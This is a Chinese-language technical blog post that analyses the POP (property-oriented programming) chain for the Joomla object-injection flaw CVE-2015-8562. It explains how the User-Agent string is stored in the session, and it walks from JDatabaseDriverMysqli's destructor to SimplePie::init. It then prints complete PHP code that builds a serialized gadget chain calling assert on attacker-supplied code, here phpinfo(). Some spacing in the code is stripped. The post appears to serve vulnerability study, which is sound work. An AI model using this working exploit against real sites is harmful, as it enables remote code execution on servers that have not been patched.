紧接上篇文章
这篇文章来讲一讲CVE-2015-8562的POP链具体构造
0X00 前言
emmm,首先CVE-2015-8562这个漏洞的成因这里简单复述以下,useragent字符串的内容会被存入session中,而且可利用版本下存在没有正确处理'|'的情况,导致恶意攻击者可以构造'|'的位置使name|payload这样的格式被存入session中。再通过构造的POP链达到漏洞利用。
0X01 POP链构造分析
这是本文的重点,如何构造该POP链
首先我们从别人提供的POC来看,在上文中我提到过程是JDatabaseDriverMysqli->__destruct->disconnect->call_user_func_array,然而该类中的call_user_func_array是无法控制的
publicfunctiondisconnect(){// Close the connection.
if($this->connection)
{foreach($this->disconnectHandlersas$h)
{call_user_func_array($h,array(&$this));}
mysqli_close($this->connection);}$this->connection=null;}
这时候把目光放在SimplePie类的init()函数中
$cache=call_user_func(array($this->cache_class,'create'),$this->cache_location,call_user_func($this->cache_name_function,$this->feed_url),'spc');
很明显第二个call_user_func_array的两个参数我们都是可以控制的将第一个参数赋值为assert,第二个为我们要执行的代码就构成了一个后门。
所以,整理一下我们需要满足的条件feed_url 存放我们想要执行的代码,cache_name_function存放"assert" 。disconnetHandlers存放$x和"init"。加上必要的函数不难得出我们的pop构造链。
//header("Content-Type: text/plain");
class JSimplepieFactory{}
class JDatabaseDriverMysql{}
class SimplePie{
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function__construct(){
$this->feed_url="phpinfo();JFactory::getConfig();exit;";
$this->javascript=9999;
$this->cache_name_function="assert";
$this->sanitize=newJDatabaseDriverMysql();
$this->cache=true;
}
}
class JDatabaseDriverMysqli{
protected $a;
protected $disconnectHandlers;
protected $connection;
function__construct(){
$this->a=newJSimplepieFactory();
$x=newSimplePie();
$this->connection=1;
$this->disconnectHandlers=[[$x,"init"],];
}
}
$a=newJDatabaseDriverMysqli();
echoserialize($a);